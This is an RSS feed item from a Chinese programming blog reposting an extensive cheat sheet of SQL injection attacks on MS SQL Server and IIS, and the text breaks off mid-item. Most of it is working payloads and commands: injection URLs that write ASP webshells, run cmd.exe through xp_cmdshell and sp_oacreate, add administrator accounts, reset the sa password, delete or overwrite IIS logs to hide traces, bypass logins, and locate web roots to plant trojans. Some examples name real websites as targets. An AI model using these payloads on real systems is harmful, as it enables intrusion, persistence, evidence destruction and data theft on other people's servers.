﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-java fans-文章分类-ASP学习</title><link>http://www.blogjava.net/jlin/category/12889.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 11 Mar 2007 01:02:44 GMT</lastBuildDate><pubDate>Sun, 11 Mar 2007 01:02:44 GMT</pubDate><ttl>60</ttl><item><title>最详细的SQL注入相关的命令整理(转)</title><link>http://www.blogjava.net/jlin/articles/103035.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Sat, 10 Mar 2007 12:44:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/103035.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/103035.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/103035.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/103035.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/103035.html</trackback:ping><description><![CDATA[
		<div>
				<strong>QUOTE:</strong>
		</div>
		<div>1、   用^转义字符来写ASP(一句话木马)文件的方法:<br />?   <a href="http://192.168.1.5/display.asp?keyno=1881;exec" target="_blank">http://192.168.1.5/display.asp?keyno=1881;exec</a> master.dbo.xp_cmdshell 'echo ^&lt;script language=VBScript runat=server^&gt;execute request^("l"^)^&lt;/script^&gt; &gt;c:\mu.asp';-- <br /><br />?   echo ^&lt;%execute^(request^("l"^)^)%^&gt; &gt;c:\mu.asp<br /><br />2、   显示SQL系统版本： <br />?   <a href="http://192.168.1.5/display.asp?keyno=188" target="_blank">http://192.168.1.5/display.asp?keyno=188</a> and 1=(select @@VERSION) <br />?   <a href="http://www.xxxx.com/FullStory.asp?id=1" target="_blank">http://www.xxxx.com/FullStory.asp?id=1</a> and 1=convert(int,@@version)--<br /><br />Microsoft VBScript 编译器错误 错误 '800a03f6' <br />缺少 'End' <br />/iisHelp/common/500-100.asp，行242 <br />Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' <br />[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on <a class="wordstyle" href="http://www.hack58.net/" target="_blank">Windows</a> NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int. <br />/display.asp，行17<br />3、   在检测索尼中国的网站漏洞时，分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询，例如“select * from mytable where id in(1)”，括号中的值就是我们提交的数据，它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”，这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧，聪明的你一定想到了还有“包含字符型”呢。对了，它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。<br /><br />4、   判断xp_cmdshell扩展存储过程是否存在：<br /><a href="http://192.168.1.5/display.asp?keyno=188" target="_blank">http://192.168.1.5/display.asp?keyno=188</a> and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')<br />恢复xp_cmdshell扩展存储的命令：<br /><a href="http://www.test.com/news/show1.asp?NewsId=125272" target="_blank">http://www.test.com/news/show1.asp?NewsId=125272</a><br />;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll’;--<br /><br />5、   向启动组中写入命令行和执行程序：<br /><a href="http://192.168.1.5/display.asp?keyno=188;EXEC" target="_blank">http://192.168.1.5/display.asp?keyno=188;EXEC</a> master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">Windows</a>\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'<br /><br /><br />6、   查看当前的数据库名称：<br />?   <a href="http://192.168.1.5/display.asp?keyno=188" target="_blank">http://192.168.1.5/display.asp?keyno=188</a> and 0&lt;&gt;db_name(n) n改成0,1,2,3……就可以跨库了<br />?   <a href="http://www.xxxx.com/FullStory.asp?id=1" target="_blank">http://www.xxxx.com/FullStory.asp?id=1</a> and 1=convert(int,db_name())--<br />Microsoft VBScript 编译器错误 错误 '800a03f6' <br />缺少 'End' <br />/iisHelp/common/500-100.asp，行242 <br />Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' <br />[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int. <br />/display.asp，行17 <br />7、   列出当前所有的数据库名称：<br />select * from master.dbo.sysdatabases   列出所有列的记录<br />select name from master.dbo.sysdatabases 仅列出name列的记录<br /><br />8、   不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令：<br />CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)<br />DECLARE @shell INT<br />DECLARE @fso INT<br />DECLARE @file INT<br />DECLARE @isEnd BIT<br />DECLARE @out VARCHAR(400)<br />EXEC sp_oacreate 'wscript.shell',@shell output<br />EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\&gt;c:\temp.txt','0','true'<br />--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。<br /><br />EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br />EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br />--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌<br /><br />WHILE @shell&gt;0<br />BEGIN<br />EXEC sp_oamethod @file,'Readline',@out out<br />INSERT INTO MYTMP(info) VALUES (@out)<br />EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br />IF @isEnd=1 BREAK<br />ELSE CONTINUE<br />END<br /><br />DROP TABLE MYTMP <br /><br />----------<br />DECLARE @shell INT<br />DECLARE @fso INT<br />DECLARE @file INT<br />DECLARE @isEnd BIT<br />DECLARE @out VARCHAR(400)<br />EXEC sp_oacreate 'wscript.shell',@shell output<br />EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"&gt;c:\temp.txt','0','true'<br />EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br />EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br />WHILE @shell&gt;0<br />BEGIN<br />EXEC sp_oamethod @file,'Readline',@out out<br />INSERT INTO MYTMP(info) VALUES (@out)<br />EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br />IF @isEnd=1 BREAK<br />ELSE CONTINUE<br />END<br /><br />以下是一行里面将WEB用户加到管理员组中：<br />DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /><br />以下是一行中执行EXE程序：<br />DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /><br />SQL下三种执行CMD命令的方法：<br /><br />先删除7.18号日志：<br />(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt'<br /><br />(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /><br />（3）首先开启jet沙盘模式，通过扩展存储过程xp_regwrite修改注册表实现，管理员修改注册表不能预防的原因。出于安全原因，默认沙盘模式未开启，这就是为什么需要xp_regwrite的原因，而xp_regwrite至少需要DB_OWNER权限，为了方便，这里建议使用sysadmin权限测试：<br />?   exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1<br />注：<br />0   禁止一切（默认）<br />1   使能访问ACCESS，但是禁止其它<br />2   禁止访问ACCESS，但是使能其他<br />3   使能一切<br /><br />?   这里仅给出sysadmin权限下使用的命令：<br />select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')<br /><br /><br />?   建立链接数据库'L0op8ack'参考命令：<br />EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\ias\ias.mdb'<br /><br />?   如何使用链接数据库：<br /><br />使用这个方式可以执行，但是很不幸，DB_OWNER权限是不够的，需要至少sysadmin权限或者securityadmin+setupadmin权限组合<br />sp_addlinkedserver需要sysadmin或setupadmin权限<br />sp_addlinkedsrvlogin需要sysadmin或securityadmin权限<br />最终发现，还是sa权限或者setupadmin+securityadmin权限帐户才能使用，<br />一般没有哪个管理员这么设置普通帐户权限的<br /><br />实用性不强，仅作为一个学习总结吧<br /><br />大致过程如下，如果不是sysadmin，那么IAS.mdb权限验证会出错，<br />我测试的时候授予hacker这个用户setupadmin+securityadmin权限，使用ias.mdb失败<br />需要找一个一般用户可访问的mdb才可以：<br /><br />?   新建链接服务器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--<br />?   exec sp_addlinkedsrvlogin 'L0op8ack','false';--或<br />exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--<br />?   SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--<br />?   exec sp_droplinkedsrvlogin 'L0op8ack','false';--<br />?   exec sp_dropserver 'L0op8ack';--<br /><br />再考贝一个其它文件来代替7.18日文件：<br />(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt'<br /><br />(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /><br />(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /><br />9、   用UPDATE来更新表中的数据：<br /><a href="http://xxx.xxx.xxx/abc.asp?p=YY;update" target="_blank">HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a> upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--<br />www用户密码的16位MD5值为：a0b923820dcc509a，即把密码改成1；<br />32位MD5值为：   ，密码为<br /><br />10、   利用表内容导成文件功能<br />SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。<br />命令行格式如下：<br />bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个runcommand.asp的木马)。<br /><br />11、创建表、播入数据和读取数据的方法<br />?   创建表：<br />' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--<br />?   往表里播入数据：<br />' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status&gt;0,@result output insert into cyfd (gyfd) values(@result);--<br />' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--<br />?   从表里读取数据：<br />' and 1=(select count(*) from cyfd where gyfd &gt;1)--<br /><br />?   删除临时表：<br />';drop table cyfd;--<br /><br />12、通过SQL语句直接更改sa的密码：<br />?   update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵，解决的方法就是把sa给删拉。，怎么删可以参考我的《完全删除sa这个后门》。<br /><br />?   查看本机所有的数据库用户名：<br />select * from master.dbo.sysxlogins<br />select name,sid,password ,dbid from master.dbo.sysxlogins<br /><br />?   更改sa口令方法：用sql综合利用工具连接后，执行命令：<br />exec sp_password NULL,'新密码','sa'<br /><br />13、查询dvbbs库中所有的表名和表结构：<br />?   select * from dvbbs.dbo.sysobjects where xtype='U' and status&gt;0<br />?   select * from dvbbs.dbo.syscolumns where id=1426104121<br /><br />14、手工备份当前数据库：<br />完全备份：<br />;declare @a sysname,@s nvarchar(4000) <br />select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--<br />差异备份：<br />;declare @a sysname,@s nvarchar(4000) <br />select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—<br /><br />15、添加和删除一个SA权限的用户test：<br />exec master.dbo.sp_addlogin test,ptlove<br />exec master.dbo.sp_addsrvrolemember test,sysadmin<br /><br />cmd.exe /c isql -E /U alma /P /i K:\test.qry <br /><br />16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status&gt;0 <br />就可以列出库ChouYFD中所有的用户建立的表名。<br />Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status&gt;0<br /><br />17、<br />?   <a href="http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select" target="_blank">http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select</a> * from rdweb.dbo.syscolumns （where id=1234）<br />列出rdweb库中所有表中的字段名称<br />?   select * from dvbbs.dbo.syscolumns where id=5575058 <br />列出库dvbbs中表id=5575058的所有字段名<br /><br />18、删除记录命令：delete from Dv_topic where boardid=5 and topicid=7978 <br /><br />19、绕过登录验证进入后台的方法整理：<br />1) ' or''='<br />2) ' or 1=1--<br />3) ‘ or ‘a’=’a--<br />4) ‘or’=’or’<br />5) " or 1=1-- <br />6）or 1=1--<br />7） or ’a=’a<br />8）" or "a"="a <br />9） ’) or (’a’=’a<br />10） ") or ("a"="a<br />11） ） or (1=1<br />12) 'or''='<br />13) 人气%’ and 1=1 and ’%’=’<br /><br />20、寻找网站路径的方法汇总：<br />1）查看WEB网站安装目录命令：<br />?   cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root &gt;c:\test1.txt （将2换成1、3、4、5试试）<br />type c:\test1.txt<br />del c:\test1.txt<br />在NBSI下可以直接显示运行结果，所以不用导出到文件<br /><br />2）在网站上随便找到一个图片的名字 123.jpg<br />然后写进批处理程序123.bat:<br />d:<br />dir 123.jpg /s &gt;c:\123.txt<br />e:<br />dir 123.jpg /s &gt;&gt;c:\123.txt<br />f:<br />dir 123.jpg /s &gt;&gt;c:\123.txt<br /><br />执行后 type c:\123.txt<br />这样来分析网站的路径<br /><br />3）SQL服务器和网站服务器在同一个服务器上，好了是可以执行命令是吧？<br />将执行命令输出结果到<br />%windir%\help\iishelp\common\404b.htm或者500.asp<br />注意输出前Backup这两个文件<br />如：<br />dir c:\ &gt;%windir%\help\iishelp\common\404b.htm<br />然后随便输入一个文件来访问：http://目标ip/2.asp <br /><br />4）针对win2000系统：xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径<br />2003系统：xp_regread读取，未找到方法<br />如：<br />（1）   新建一个表cyfd(字段为gyfd)：<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;create" target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844;create</a> table [dbo].[cyfd]([gyfd][char](255))--<br />（2）   把web路径写进去:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE" target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE</a> @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);-- <br />（3）   还是让他不匹配，显示错误:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844" target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844</a> and 1=(select count(*) from cyfd where gyfd &gt;1) <br />Source: .Net SqlClient Data Provider<br />Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。<br />TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。<br />（4）接下来删除表:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;drop" target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844;drop</a> table cyfd;--<br /><br />5）用regedit命令导出注册表，将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面<br />regedit命令说明：<br />Regedit /L:system /R:user /E filename.reg Regpath<br />参数含义：<br />/L：system指定System.dat文件所在的路径。<br />/R：user指定User.dat文件所在的路径。<br />/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。<br />Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。在这些参数中，"/L：system"和"/R：user"参数是可选项，如果不使用这两个参数，注册表编辑器则认为是对<a class="wordstyle" href="http://www.hack58.net/" target="_blank">WINDOWS</a>目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS，那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径，否则注册表编辑器将无法找到它们。比如说，如果通过启动盘进入DOS，则备份注册表的命令是"Regedit /L:C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\/R:C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\/e regedit.reg",该命令的意思是把整个注册表备份到<a class="wordstyle" href="http://www.hack58.net/" target="_blank">WINDOWS</a>目录下，其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令，则是说把整个注册表备份到D盘的根目录下（省略了"/L"和"/R"参数），其文件名为"Regedit.reg"。<br /><br />regedit /s c:\adam.reg （导入c:\adam.reg文件至注册表）<br />regedit /e c:\web.reg （备份全部注册内容到c:\web.reg中）<br />针对win2000系统：C:\&gt;regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"<br />然后http://目标IP/2.asp<br />针对win2003系统：没有找到，希望找到的朋友公布出来一起讨论。<br /><br />6）虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件，是允许web用户访问的，如果你的iis备份到这里，用webshell下载下来后用记事本打开，可以获取对应的域名和web绝对路径。<br /><br />7）SQL注入建立虚拟目录，有dbo权限下找不到web绝对路径的一种解决办法：<br />我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： <br />?   建立虚拟目录win,指向c:\winnt\system32：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' <br />?   让win目录具有解析asp脚本权限：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:' <br />?   删除虚拟目录win：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'<br />?   测试：<a href="http://127.0.0.1/win/test.asp" target="_blank">http://127.0.0.1/win/test.asp</a><br />8）利用SQL语句来查找WEB目录：根据经验，猜疑WEB根目录的顺序是：d盘、e盘、c盘，首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句： <br />;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称，depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树，语句如下： <br />;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';-- <br /><br />在进行下面的操作前，先查看D盘有几个文件夹，这样对D盘有个大致的了解，语句如下： <br />and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class="wordstyle" href="http://www.hack58.net/" target="_blank">WINDOWS</a>','CAConfig','wmpub','Microsoft UAM 卷'))&gt;=数字(数字=0、1、2、3...) <br /><br />接着，我们在对方的网站上找几个一级子目录，如user、photo，然后，用筛选的方法来判断WEB根目录上是否存在此盘上，语句如下： <br />and (select count(*) from temp where dir&lt;&gt;'user')&lt;(select count(*) from temp) <br /><br />看语句的返回结果，如果为真，表示WEB根目录有可能在此盘上，为了进一步确认，多测试几个子目录： <br />and (select count(*) from temp where dir&lt;&gt;'photo')&lt;(select count(*) from temp) <br /><br />... <br /><br />如果所有的测试结果都为真，表示WEB根目录很有可能在此盘上。 <br /><br />下面假设找到的WEB根目录在此盘上，用以下的语句来获得一级子目录的深度： <br />and (select depth from temp where dir='user')&gt;=数字(数字=1、2、3...) <br /><br />假设得到的depth是3,说明user目录是D盘的3级目录，则WEB根目录是D盘的二级目录。 <br /><br />目前我们已经知道了根目录所在的盘符和深度，要找到根目录的具体位置，我们来从D盘根目录开始逐一搜寻，当然，没有必要知道每个目录的名称，否则太耗费时间了。 <br /><br />接下来，另外建立一个临时表，用来存放D盘的1级子目录下的所有目录，语句如下： <br /><br />;create table temp1(dir nvarchar(255),depth varchar(255));-- <br /><br />然后把从D盘的第一个子目录下的所有目录存到temp1中，语句如下： <br />declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class="wordstyle" href="http://www.hack58.net/" target="_blank">WINDOWS</a>','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname <br />当然也可以把D盘的第二个子目录下的所有目录存到temp1中，只需把第二个top 1改为top 2就行了。 <br /><br />现在，temp1中已经保存了所有D盘第一级子目录下的所有目录,然后，我们用同样的方法来判断根目录是否在此一级子目录下： <br />and (select count(*) from temp1 where dir&lt;&gt;'user')&lt;(select count(*) from temp1) <br />如果返回为真，表示根目录可能在此子目录下，记住要多测试几个例子，如果都返回为假，则表明WEB根目录不在此目录下，然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表，来判断WEB根目录是否在其下。但是，要注意，用xp_dirtree前一定要把temp1表中的内容删除。 <br /><br />现在假设，WEB根目录在D盘的第一级子目录下，该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2，我们需要知道website下到底哪个才是真正的WEB根目录。 <br /><br />现在，我们用同样的方法，再建立第3个临时表： <br />;create table temp2(dir nvarchar(255),depth varchar(255));-- <br /><br />然后把从D盘的website下的所有目录存到temp2中，语句如下： <br />declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class="wordstyle" href="http://www.hack58.net/" target="_blank">WINDOWS</a>','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname <br />当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中，只需把第二个top 1改为top 2就行了。 <br /><br />现在，我们用同样的方法判断该目录是否为根目录： <br />and (select count(*) from temp2 where dir&lt;&gt;'user')&lt;(select count(*) from temp2) <br />如果返回为真，为了确定我们的判断，多测试几个例子，方法上面都讲到了，如果多个例子都返回为真，那么就确定了该目录为WEB根目录。 <br /><br /><br />用以上的方法基本上可以获得WEB根目录，现在我们假设WEB根目录是：D:\website\www <br />然后，我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空，然后C、D、E盘的目录树分别存到temp、temp1、temp2中。 <br /><br />下载完数据库后要记得把三个临时表DROP掉，现在我们在下载的数据库中可以找到所有的目录列表，包括后台管理的目录以及更多信息。<br /><br />21、win2000下将WEB用户提升为系统用户权限，需要有管理员的权限才能执行：<br />c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"<br /><br />cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\idq.dll" "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\inetsrv\httpext.dll" "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\inetsrv\httpodbc.dll" "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\inetsrv\ssinc.dll" "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\msw3prt.dll" "C:\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\inetsrv\asp.dll"<br /><br />查看是否成功：<br />c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps <br /><br />Microsoft (R) <a class="wordstyle" href="http://www.hack58.net/" target="_blank">Windows</a> Script Host Version 5.6<br />版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。<br />inprocessisapiapps       : (LIST) (6 Items)<br />"C:\WINNT\system32\idq.dll"<br />"C:\WINNT\system32\inetsrv\httpext.dll"<br />"C:\WINNT\system32\inetsrv\httpodbc.dll"<br />"C:\WINNT\system32\inetsrv\ssinc.dll"<br />"C:\WINNT\system32\msw3prt.dll"<br />"c:\winnt\system32\inetsrv\asp.dll"<br /><br />22、如何隐藏ASP木马：<br />建立非标准目录：mkdir images..\<br 